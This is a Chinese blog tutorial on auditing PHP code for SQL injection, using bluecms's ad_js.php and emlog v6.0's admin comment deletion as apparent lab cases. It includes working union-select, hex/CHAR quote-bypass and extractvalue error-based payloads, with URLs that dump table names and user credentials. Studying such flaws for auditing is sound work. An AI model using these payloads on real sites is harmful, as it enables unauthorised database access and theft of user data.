当前位置: 首页 > web >正文

代码审计入门 原生态sql注入篇

前置知识:

漏洞形成的原因:

1、可控的参数 2、函数缺陷

代码审计的步骤:

1、全局使用正则搜索 漏洞函数 ,然后根据函数看变量是否可控,再看函数是否有过滤

2、根据web的功能点寻找函数,然后根据函数看变量是否可控,再看函数是否有过滤

sql注入代码前置知识

代码常见语句

-功能追踪-功能点文件SQL执行代码函数调用链追踪

-根据代码搜索-正则搜索-(update|select|insert|delete|).*?where.*=

(update|select|insert|delete|).*?where.*=

案例一:bluecms

案例使用的web全是纯手搓的项目 使用思路 1 先使用正则表达式 去查找对应的函数(代码审计就是 寻函数找方法)

全局使用正则去搜索

使用正则搜索的时候 发现这些有个目录的路径 : 我们需要看一下这些目录的作用 (可以查看里面的内容  或者是按照这个英文单词翻译)

那我们不需要找这些  admin 目录下的(影响比较鸡肋  后台内的sql注入需要有后台的权限)

挨个分析 一下  看看有没有过滤什么的

为了便于分析

加一个输出语句

找到漏洞语句 之后就看有没有回显

发现是有回显的  

但是下边有一个

if($ad['time_set'] == 0)  //如果广告设置了 ==0 表示永远有效
{$ad_content = $ad['content'];
}
else   // 否则 如果广告小于 广告商给的时间  就下架
{if($ad['end_time'] < time()){$ad_content = $ad['exp_content'];}else{$ad_content = $ad['content'];        //否则就显示内容}
}

这个进行搜索一下这个就是广告逻辑  设置广告 这个页面呢可能就是广告商页面  上边的参数可能就是从数据库中 找哪个广告

$ad_content = str_replace('"', '\"',$ad_content);  //对内容进行过滤  如果内容中有这些符号就会被替换
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";  // 输出内容  但是这个现实呢 是进行html注释的内容

这个思路就是根据代码函数找缺陷然后找到功能点的web页面

这个 ad_id 就是注入点

使用192.168.21.12:70/ad_js.php?ad_id=1 order by 7

进行产看是有 7个 查询列的  查看回显的时候要查看源代码

http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database();%20%23

有个小过滤

就是会过滤我们的 ''  ""  导致 where=""  失效  绕过手段

sql注入中字符串 "" 被过滤:

1、进行16进制编码

view-source:http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626C75655F75736572%23

2、使用 char 进行拼接  char可以把ascii码转为字符串 blue_user 拼接 

CHAR(98,108,117,101,95,117,115,101,114)    b的ascii就是 98 
http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=CHAR(98,108,117,101,95,117,115,101,114)%23
http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,user_id,user_name%20from%20blue_user

案例二 : emlog v6.0版

这个的sql注入点在 后台 

(update|select|insert|delete|).*?where.*=
正则搜索一下

数据库监听脚本工具的使用

它的作用就是 可以监听我们进行访问web页面时触发的sql语句

基本使用

github上搜索 :MySQL-Monitor-master

在这个config下有泄露

玩法 : 访问后台

就三个语句

分析一下可能 这个就是查找用户的  所以我们根据这个功能 锁定一下代码

还有一层判断逻辑

$sql = "SELECT DISTINCT gid FROM ".DB_PREFIX."comment WHERE ip='$ip'";$ip = 1' and 1=1%23

http://192.168.21.12:70/admin/comment.php?action=delbyip&ip=1%27%20and%201=1%23

这个的验证

取一下token

http://192.168.21.12:70/admin/comment.php?action=delbyip&token=7371404e1fba139c96aa07029178fe70 and ip=1' order by 5%23是吧这个其实是不对的  需要把 token 放到后边的话需要进行  拼接   http://192.168.21.12:70/admin/comment.php?action=delby and ip=1' order by 5--+&token=7371404e1fba139c96aa07029178fe70--+ 拼接

?action=delbyip&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--+&token=7371404e1fba139c96aa07029178fe70extractvalue  :  执行xml语句使用xml的形式就是为了让他报错回显

http://www.xdnf.cn/news/516.html

相关文章:

  • 如何对docker镜像存在的gosu安全漏洞进行修复——筑梦之路
  • LeetCode 热题 100:回溯
  • 两阶段快速立体匹配算法总结(TSSM)
  • 【综述】一文读懂卷积神经网络(CNN)
  • 【LLaMAFactory】LoRa + 魔搭 微调大模型实战
  • 机器学习(1)— 开发环境安装
  • 【工控基础】工业相机设置中,增益和数字增益有什么区别?
  • Codex CLI - 自然语言命令行界面
  • 自动化测试相关协议深度剖析及A2A、MCP协议自动化测试应用展望
  • 页内碎片和页外碎片的区别
  • 从零开始学编程:如何高效入门并掌握开发技能?
  • 将 DeepSeek 集成到 Spring Boot 项目实现通过 AI 对话方式操作后台数据
  • 【进程信号】五、信号集操作接口详解
  • Java 枚举(enum)
  • 多模态大语言模型arxiv论文略读(二十八)
  • Java 静态变量、静态方法及工具类介绍
  • 六边形棋盘格(Hexagonal Grids)的坐标
  • Git 命令速查手册
  • 每日一记:CRT和图论
  • 分布式系统核心原理
  • 【第1-3章】PLC电工电子基础
  • Linux驱动开发--阻塞、非阻塞I/O
  • 【树莓派Pico FreeRTOS】-中断服务与二值信号量
  • STM32 单片机调试过程中的注意事项
  • dns作业
  • 关于Redis中的事务的理解
  • ping: socket: Operation not permitted
  • JAVAEE(网络原理—UDP报头结构)
  • 嵌入式软件--stm32 DAY 2
  • 鼠标移动操作